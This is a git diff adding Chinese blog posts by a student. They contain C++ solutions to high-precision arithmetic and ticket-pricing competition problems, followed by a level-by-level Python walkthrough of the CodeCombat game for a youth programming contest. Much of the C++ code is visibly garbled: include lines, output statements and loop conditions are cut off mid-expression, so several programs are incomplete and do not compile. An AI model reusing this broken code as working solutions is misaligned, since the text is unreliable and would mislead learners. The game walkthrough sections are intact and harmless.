b[y++]=d[i]-'0'; + } +``` + +接着,模拟运算: + +```cpp + // 第二步加法计算 + for(int i=0;i<(x>y?x:y);i++){ + result[i]+=(a[i]+b[i])%10; + result[i+1]+=(a[i]+b[i])/10; + } +``` +反向输出: + +```cpp + for(int i=(x>y?x:y);i>=0;i--){ + cout< +using namespace std; +int main(){ + // 高精度加法 240位内 + int a[241]={},b[241]={},result[242]={},x=0,y=0; + string c,d; + cin>>c>>d; + // 第一步读取整数 + for(int i=c.size()-1;i>=0;i--){ + a[x++]=c[i]-'0'; + } + for(int i=d.size()-1;i>=0;i--){ + b[y++]=d[i]-'0'; + } + // 第二步加法计算 + for(int i=0;i<(x>y?x:y);i++){ + result[i]+=(a[i]+b[i])%10; + result[i+1]+=(a[i]+b[i])/10; + } + for(int i=(x>y?x:y);i>=0;i--){ + cout< +using namespace std; +int main(){ + string s1,s2; + int a[241]={},b[241]={},result[241]={},k=0,t; + cin>>s1>>s2; + // 考虑几种特殊情况 + if(s1==s2){ + cout<<0; + return 0; + } + if(s1.size()s2.size()?s1.size():s2.size());i++){ + t=10-b[i]+a[i]+result[k++]; + if(t<10) result[k]--; // 退位,在后面一位减去1 + result[k-1]=t%10; + } + // 前面可能有0,从第一个不是0的数开始输出 + for(int i=k-1;i>=0;i--){ + if(result[i]>0){ + t=i; // 记录第一个不是0的数 + break; + } + } + // 输出 + for(int i=t;i>=0;i--){ + cout< +using namespace std; +int main(){ + // 高精度乘单精度(不超过10000) + int a[251]={}; + string s1; + int b; + cin>>s1>>b; + for(int i=0;i=10){ + a[i+1]+=a[i]/10; + a[i]%=10; + } + } + // 获取第一个不是0的数 + int point=0; + for(int i=s1.size()+4;i>=0;i--){ + if(a[i]!=0){ + point=i; + break; + } + } + for(int i=point;i>=0;i--){ + cout< +using namespace std; +int main(){ + // 高精度乘高精度 + string s1,s2; + int a[251],b[251],c[503]={}; + cin>>s1>>s2; + for(int i=0;i=10){ + c[i+j+1]+=c[i+j]/10; + c[i+j]%=10; + } + } + } + int p=0; + // 找到不是0的数 + for(int i=s1.size()+s2.size()-1;i>=0;i--){ + if(c[i]!=0){ + p=i; + break; + } + } + // 从p开始输出 + for(int i=p;i>=0;i--){ + cout< +using namespace std; +int main(){ + int a,b,n,t=0,c[1001]; + cin>>a>>b>>n; + cout< +using namespace std; +int main(){ + /* + 高精度2的乘方 + 思路:高精度*单精度2,循环n次 + */ + int a[251]={1},n,len=1; + cin>>n; + for(int i=1;i<=n;i++){ + // 按位相乘 + for(int j=0;j=10){ + a[j+1]+=a[j]/10; + a[j]%=10; + } + } + if(a[len]>0) len++; + } + for(int i=len-1;i>=0;i--){ + cout< +using namespace std; +int main(){ + int n,l,r; + cin>>n>>l>>r; + if(l/n==r/n) cout< + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/92c8c2559d8845d6a609c6cb4c1f7a2d.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +这个题很nice的。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/fcc703a752cc4130b33a0373d04b73c0.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +struct ticket{ + int x,y; +}p[1000001]; +int main(){ + int n,a,b,c,f1,f2,sum,t; + cin>>n; + for(int i=0;i>a>>b>>c; + if(a==0){ //地铁 + p[f1].x=b; //记录 + p[f1].y=c; + f1++; + sum+=b; //加钱 + } + else{ //公交 + f2=0; + for(int j=t;j45){ //时间超出 + t=j+1; + } + } + if(!f2) sum+=b; + } + } + cout< +using namespace std; +struct piao{ + int p,t; + bool u; + // 增票价格、最晚时间、是否用过 +} q[10000001]; // 赠的票 +int main(){ + int h,t,n,m; + h=t=m=0; + cin>>n; + for(int i=0;i>types>>price>>time; + if(types==0){ + // 地铁 + m+=price; + q[t++].t=time+45; + q[t-1].p=price; + } + else{ + // 抛弃过期的 + while(h=price&&!q[j].u){ + find=true; + q[j].u=true; + break; + } + } + // 没票了,买吧 + if(!find) m+=price; + } + } + cout< +using namespace std; +int main(){ + int n,l,r; + cin>>n>>l>>r; + if(l/n==r/n) cout< + +# 一、前言 + + +我最近在参加世青赛,参加了`Python`组,需要通过`CodeCombat`闯关。为了方便他人学习,特此编写。 + +`CodeCombat`共20关,还有一个竞技场。以下为详细通关攻略及代码。 + +
+ +# 二、通关过程及代码 +## 第一关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b62d371926114376aec9fbb7eeab719d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 向宝石进发。 +# 小心尖刺! +# 在下面输入你的代码,完成后点击运行。 + +hero.moveRight() +hero.moveDown() +hero.moveRight() + + +``` + +
+ +## 第二关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/703442de32c94f67a8b83fe42bc0ac95.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 利用你的移动命令收集所有宝石。 + +hero.moveRight() +hero.moveDown() +hero.moveUp(2) +hero.moveRight() + + +``` + +
+ +## 第三关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b16725890feb41e8833a0f2ce229c9cb.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + + +```python +# 避开食人魔的视线,收集宝石。 +hero.moveRight() +hero.moveUp() +hero.moveRight() +hero.moveDown() +hero.moveRight() + + +``` + +
+ +## 第四关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9e25fb9dd4f045c1aac53b235a4a69a5.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 使用带参数的移动命令,移动到更远。 +hero.moveRight(3) +hero.moveUp() +hero.moveRight() +hero.moveDown(3) +hero.moveRight(2) + + +``` + +
+ +## 第五关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/125bd017c3c04b449fd840ea70901d39.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 抵御 "Brak" 和"Treg"! +# 小食人魔攻击两次才会被击败。 + +hero.moveRight() +hero.attack("Brak") +hero.attack("Brak") +hero.moveRight() +hero.attack("Treg") +hero.attack("Treg") +hero.moveRight(2) + + +``` + +
+ +## 第六关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ea5a5a9eb3ba4cf08e489fda88e2ef3d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python + + +hero.say("密码是什么?") +# 使用 “say()” 函数说出密码。 +# 密码是: "Achoo" + +hero.say("Achoo") +hero.moveUp(2) + +``` + +
+ +## 第七关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e72be72ed8054d4c9f03754546c9b2d0.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 你需要图书馆大门的开门密码! +# 密码就在 提示 中! +# 请点击代码窗口上的蓝色 “提示” 按钮。 +# 如果你在关卡中遇到了困难,请点击 “提示” 按钮! + +hero.moveRight() +hero.say("我还不知道密码呢!") # ∆ +hero.say("Hush") +hero.moveRight() + + +``` + +
+ +## 第八关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/586588a409c7416681fff9c952e88c20.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 释放囚犯,击败守卫并夺取宝石。 +hero.moveRight() +# 从"Weak Door"后解救Patrick。 +hero.attack("Weak Door") +# 击败名为"Two"的守卫。 +hero.moveRight(3) +hero.moveDown() +for i in range(5): + hero.attack("Two") +# 获得宝石。 +hero.moveDown(2) + + +``` + +
+ +## 第九关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0e223f11b27b41e99ab17064f764b408.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 代码通常按编写顺序执行。 +# 循环会多次重复一个代码块。 +# 按Tab或4个空格,把移动指令缩进到循环内部。 + +while True: + hero.moveRight() + # 在这里给循环里加 moveLeft 命令。 + hero.moveLeft() + + +``` + +
+ +## 第十关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a206a944953f4e1fb2078b0651beac50.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 循环是处理重复事情的最好方法。 + +while True: + # 在这里添加需要重复运行的命令。 + hero.moveRight(2) + hero.moveUp(2) + + +``` + +
+ +## 第十一关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c8277f2828e04850a357807115ee75bd.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 使用少于5条语句穿越迷宫 +while True: + hero.moveRight(2) + hero.moveDown() + + +``` + +
+ +## 第十二关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b8cf8acdb9904c29a5bbfa8ef43a539a.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 攻击大门(“Door”) +# 需要攻击很多次,请使用"while-true"循环 + +while True: + hero.attack("Door") + +``` + +
+ +## 第十三关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a2e8503968094156ae2537a50a308554.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 你可以在循环前写代码 +hero.moveRight() +# 在使用循环逃离迷宫之前,打开"Chest"! +hero.moveUp() +hero.attack("Chest") +# 回到主走廊 +hero.moveDown() +while True: + # 移动3次 + hero.moveRight(3) + # 再走动三次 + hero.moveDown(3) + + +``` + +
+ +## 第十四关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2f337f7eb6fa4895b557ea2ccec739f2.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 周围可能有东西能帮到你。 +hero.moveUp() +hero.moveRight(2) +# 首先,移动到橱柜。 +hero.moveDown(2) +# 然后,使用while-true循环攻击"Cupboard"(橱柜)。 +while True: + hero.attack("Cupboard") + +``` + +
+ +## 第十五关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c03de5fcb81846e293ac24e563110dcf.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 你可以像名牌那样使用变量 + +enemy1 = "Kratt" +enemy2 = "Gert" +enemy3 = "Ursa" + +def attackEnemy(name): + for i in range(2): + hero.attack(name) + +attackEnemy(enemy1) +attackEnemy(enemy2) +attackEnemy(enemy3) + +``` + +
+ +## 第十六关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c8122ba1f5e646bdb911b2ddca2f3cec.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 你的英雄不知道这些敌人的名字! +# 这眼镜给了你 “findNearestEnemy” 寻找最近敌人的能力。 + +# 将hero.findNearestEnemy()的结果赋值给变量enemy1: +enemy1 = hero.findNearestEnemy() +# enemy1现在指向最近的敌人。使用变量进行攻击! +hero.attack(enemy1) +hero.attack(enemy1) + +# enemy1已被打败,再次调用hero.findNearestEnemy()将会找到附近的新敌人。 +enemy2 = hero.findNearestEnemy() +hero.attack(enemy2) +hero.attack(enemy2) + +# 将hero.findNearestEnemy()的结果赋值给变量enemy3: +enemy3 = hero.findNearestEnemy() +# 现在使用enemy3变量进行攻击。 +hero.attack(enemy3) +hero.attack(enemy3) + +``` + +```python +# 或者使用这种冒险的行为(可能会被要求重载源码) +def attackEnemy(): + enemy = hero.findNearestEnemy() + for i in range(2): + hero.attack(enemy) + +for i in range(3): + attackEnemy() + +``` + +
+ +## 第十七关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c69bc0b77333442b9e70a41613c90216.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 创建第二个变量并进行攻击. + +enemy1 = hero.findNearestEnemy() +hero.attack(enemy1) +hero.attack(enemy1) + +enemy2 = hero.findNearestEnemy() +hero.attack(enemy2) +hero.attack(enemy2) + +hero.moveDown() +hero.moveRight(2) + + +``` + +
+ +## 第十八关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a586af5098534bb1a06554db14f3851c.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 使用while-true循环移动并攻击目标。 + +while True: + hero.moveRight() + hero.moveUp() + enemy = hero.findNearestEnemy() + for i in range(2): + hero.attack(enemy) + hero.moveRight() + hero.moveDown(2) + hero.moveUp() + + +``` + +
+ +## 第十九关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/78389a9fc57243f882bfbbcebff9dcdc.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 建造三个围栏来阻挡食人魔! + +hero.moveDown() +hero.buildXY("fence", 36, 34) +hero.buildXY("fence", 36, 30) +hero.buildXY("fence", 36, 26) +hero.moveRight(3) + +``` + +
+ +## 第二十关(竞技场) +规则: + +```python +# 欢迎来到Wakka Maul竞技场!准备战斗! +# 通过迷宫,获得宝石来增强战力。 +# 毁掉门来释放盟友(或是敌人)。 +# 例如,攻击标有"g"的门,使用: +#hero.attack("g") +# 有了足够金币,你就能够招募你想要的战士! +#hero.say("soldier") 招募1名士兵,花费20金币! +#hero.say("archer") 招募1名弓箭手,花费25金币! +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3e5e5e617df945d5981e41fdd6f1c668.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 欢迎来到Wakka Maul竞技场!准备战斗! +# 通过迷宫,获得宝石来增强战力。 +# 毁掉门来释放盟友(或是敌人)。 +# 例如,攻击标有"g"的门,使用: +#hero.attack("g") +# 有了足够金币,你就能够招募你想要的战士! +#hero.say("soldier") 招募1名士兵,花费20金币! +#hero.say("archer") 招募1名弓箭手,花费25金币! + +hero.moveUp(2) +hero.moveRight(2) +hero.moveUp(0.5) +hero.moveDown(1) + +while True: + hero.say("archer") + hero.say("soldier") + +``` +超级简单,说白了就是去拿宝箱,有了金币就可以拿到很多小兵。 + +
+ +# 三、竞技场 +## 蓝方竞技场 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8b4bb17195d14c0b81c30a590d0af560.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/cfcdf01f5c4c4fd7b4284d7f95233cd9.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +目前蓝方取得第12名的成绩。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c4ef51a5dbb14622bccf92b70b6902a0.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 欢迎来到Wakka Maul竞技场!准备战斗! +# 通过迷宫,获得宝石来增强战力。 +# 毁掉门来释放盟友(或是敌人)。 +# 例如,攻击标有"d"的门,使用: +#this.attack("d") +# 有了足够金币,你就能够招募你想要的战士! +#hero.say("thrower") 招募2名投矛手,每个9金币! +#hero.say("scout") 花费18金币招募侦察兵。 + +hero.moveDown(3) +hero.moveLeft(2) +hero.moveUp(4) +hero.moveRight() +hero.attack("d") +hero.moveLeft(4) +hero.moveDown() +hero.attack("b") +hero.attack("c") +hero.moveDown(1.3) +while True: + hero.say("scout") + hero.say("thrower") + +``` +另一种解法是: + +```python +# 欢迎来到Wakka Maul竞技场!准备战斗! +# 通过迷宫,获得宝石来增强战力。 +# 毁掉门来释放盟友(或是敌人)。 +# 例如,攻击标有"d"的门,使用: +#this.attack("d") +# 有了足够金币,你就能够招募你想要的战士! +#hero.say("thrower") 招募2名投矛手,每个9金币! +#hero.say("scout") 花费18金币招募侦察兵。 + +hero.moveUp() +hero.moveLeft() +hero.attack("d") +hero.moveLeft() +hero.moveDown(3.5) +hero.moveUp(0.5) +hero.moveRight(1.5) +hero.moveLeft(0.5) +hero.moveUp() +hero.moveLeft(0.5) +while True: + hero.say("thrower") + hero.say("scout") + +``` +经过我几次改进,最终代码为: + +```python +# 欢迎来到Wakka Maul竞技场!准备战斗! +# 通过迷宫,获得宝石来增强战力。 +# 毁掉门来释放盟友(或是敌人)。 +# 例如,攻击标有"d"的门,使用: +#this.attack("d") +# 有了足够金币,你就能够招募你想要的战士! +#hero.say("thrower") 招募2名投矛手,每个9金币! +#hero.say("scout") 花费18金币招募侦察兵。 + +hero.moveUp() +hero.moveLeft() +hero.attack("d") +hero.say("scout") +hero.moveLeft() +hero.moveDown(3.5) +hero.moveUp(0.5) +hero.moveRight(1.5) +hero.moveLeft(0.5) +hero.moveUp() +hero.moveLeft(0.5) +while True: + hero.say("thrower") + hero.say("scout") + +``` + + +
+ +## 红方竞技场 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/57586bf2eacc4f7d8bbc76da26825403.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +别看代码少,拿的分可不少,才7行我就第三名了。蓝方得有十几行,才拿十几名,这些代码可谓短小精炼了。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/f695a8a872a24f1dafe5329eb94dbcfb.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +我作死挑战了对面第一名,结果胜了! +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/7861cd12785f4e57bd4e269c04807798.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +第二名我也赢了。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/801a8ef46a9141a0a09f97f3a8fb0ea9.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +第三名也是。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6676bd441d574d01a9ba2cd63db0aa5c.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 欢迎来到Wakka Maul竞技场!准备战斗! +# 通过迷宫,获得宝石来增强战力。 +# 毁掉门来释放盟友(或是敌人)。 +# 例如,攻击标有"g"的门,使用: +#hero.attack("g") +# 有了足够金币,你就能够招募你想要的战士! +#hero.say("soldier") 招募1名士兵,花费20金币! +#hero.say("archer") 招募1名弓箭手,花费25金币! + +hero.moveUp(2) +hero.moveRight(2) +hero.moveUp(0.3) +hero.moveDown(0.6) + +while True: + hero.say("archer") + hero.say("soldier") + +``` +
+ +截至2021年8月30日15时05分,我的石家庄市排名为: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/1f6450cfdb2f4078a5a0a2cc8b1c985a.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + diff --git "a/Codecombat\345\244\215\350\265\233\351\227\257\345\205\263\346\224\273\347\225\245.md" "b/Codecombat\345\244\215\350\265\233\351\227\257\345\205\263\346\224\273\347\225\245.md" new file mode 100644 index 0000000..39e978b --- /dev/null +++ "b/Codecombat\345\244\215\350\265\233\351\227\257\345\205\263\346\224\273\347\225\245.md" @@ -0,0 +1,1119 @@ +@[TOC](目录) + +# 一、前言 +前面一直在努力学习,学习了`codecombat`新一期的计算机科学课程,涉及到了许多其他的东西。以前的移动函数有5个,但是复赛就1个;以前的攻击函数只有1个,但是复赛有2个。 +关卡也比原来多了,学习的东西自然不同。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/cc148637385f45e8a1373106896f9cf4.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +下面是具体的闯关过程及源代码。 +# 二、具体闯关流程(1~23) +## 第一关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/88011dcf745e4bad934fe1e8ce658f6e.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 在标记上建造两段围栏来保护村民。 +# 把鼠标悬停在地图上,以得到X,Y坐标。 + +hero.buildXY("fence", 40, 52) +hero.buildXY("fence", 40, 20) + +``` +## 第二关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/1ca17b99678d439b996cf405b25a128c.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 到小路的尽头去,并在那儿修一个栅栏。 +# 利用你的 moveXY(x, y)坐标移动功能。 +hero.moveXY(36, 60) +hero.moveXY(37, 13) +hero.buildXY("fence", 72, 25) + +``` + +## 第三关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2003b42205de4a36b3a741a6d405d650.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 英雄完全糊涂了! +# 纠正路径,别让其踩到地雷。 + +hero.moveXY(11,37) +hero.moveXY(35, 25) +hero.moveXY(40, 56) +hero.moveXY(77, 58) + +``` + +## 第四关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/66fa37749dc94e6c926e64441bb1ac36.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 区域内有一名猎头者! +# 在森林附近跑动,以躲避他的视线 + +while True: + + # 用 moveXY 在森林中保持移动,以确保存活。 + # 不要忘记缩进。 + hero.moveXY(56, 44) + hero.moveXY(40, 56) + hero.moveXY(24, 44) + hero.moveXY(24, 24) + hero.moveXY(40, 12) + hero.moveXY(56, 24) + +``` + +## 第五关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/fd2d9ecb89d74d01a400ea5408002c32.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 通过林地,务必留意危险! +# 这些森林小屋中可能有食人魔! + +hero.moveXY(19, 33) +enemy = hero.findNearestEnemy() +# if语句会检查某变量有没有食人魔。 +if enemy: + hero.attack(enemy) + hero.attack(enemy) + +hero.moveXY(49, 51) +enemy = hero.findNearestEnemy() +if enemy: + # 在这里攻击敌人: + hero.attack(enemy) + hero.attack(enemy) + # `pass`语句是占位符,不做任何事情,它只帮助结束if语句。 + pass + +hero.moveXY(58, 14) +enemy = hero.findNearestEnemy() +# 使用if语句检查敌人是否存在: +if enemy: + # 如果敌人存在,就攻击它: + hero.attack(enemy) + hero.attack(enemy) + + +``` + +## 第六关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/81d8ee1a8bf84100b172ec2c0223d96e.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 记得敌人可能还不存在。 +while True: + enemy = hero.findNearestEnemy() + if enemy: + # 如果有敌人,攻击它! + hero.attack(enemy) + hero.attack(enemy) + pass + +``` + +## 第七关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4d93f48b259c4280abb68da725ff9007.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 记得敌人可能还不存在。 +while True: + enemy = hero.findNearestEnemy() + # 如果有敌人,攻击它! + if enemy: + hero.attack(enemy) + hero.attack(enemy) + + + +``` + +## 第八关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6a02b1ef98fb44a6828c4da609ebbfab.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 在食人魔的营地中打败它们! + +while True: + enemy = hero.findNearestEnemy() + # 使用一个 “if” 语句去检查是否有敌人存在: + if enemy: + # 攻击敌人,如果存在的话: + hero.attack(enemy) + hero.attack(enemy) + +``` + +## 第九关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ecda67b9a44646929e24892f526a5cb5.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 在村口巡逻。 +# 如果发现敌人,就攻击它。 +while True: + hero.moveXY(35, 34) + leftEnemy = hero.findNearestEnemy() + if leftEnemy: + hero.attack(leftEnemy) + hero.attack(leftEnemy) + # 现在移动到右侧入口。 + hero.moveXY(60, 31) + # 再次使用findNearestEnemy,来找到右侧的敌人。 + enemy = hero.findNearestEnemy() + if enemy: + hero.attack(enemy) + hero.attack(enemy) + # 如果有右侧的敌人,使用"if"来攻击。 + hero.moveXY(35, 34) + +``` + +## 第十关 